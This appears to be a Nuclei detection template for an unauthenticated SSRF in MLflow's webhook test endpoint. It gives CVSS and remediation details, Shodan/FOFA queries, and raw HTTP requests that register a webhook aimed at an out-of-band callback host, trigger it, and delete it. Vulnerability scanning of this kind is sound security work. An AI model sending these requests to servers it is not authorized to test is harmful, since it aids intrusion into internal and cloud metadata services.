id: CVE-2026-64849

info: name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass author: DhiyaneshDk severity: critical description: | MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint. impact: | Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information. remediation: | Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding. reference: - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j - https://github.com/mlflow/mlflow/pull/24258 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N cvss-score: 9.3 cve-id: CVE-2026-64849 epss-score: 0.00349 epss-percentile: 0.27929 cwe-id: CWE-918 metadata: max-request: 3 verified: true shodan-query: http.title:"MLflow" fofa-query: title="MLflow" tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev

variables: random: "{{rand_text_alpha(8)}}"

http:

• raw:

  • | POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{Hostname}} Content-Type: application/json

    {"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

  • | POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1 Host: {{Hostname}} Content-Type: application/json

    {"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

  • | DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1 Host: {{Hostname}}

  matchers-condition: and matchers:

  • type: word part: body_1 words:

    • "webhook_id"
    • "ACTIVE" condition: and

  • type: word part: interactsh_protocol words:

    • "http"

  extractors:

  • type: regex name: webhook_id part: body internal: true regex:
    • '"webhook_id":\s*"([^"]+)"' group: 1

digest: 490a0046304402202e79c8a66a1a62e91bddc38dcebe402ecee4ff7036a36448e522f5bd64c13a8702203f2da52bd9424be56645e2866f623392ae4455c8d8c68549ab3d368fb7ff91c2:922c64590222798bb761d5b6d8e72950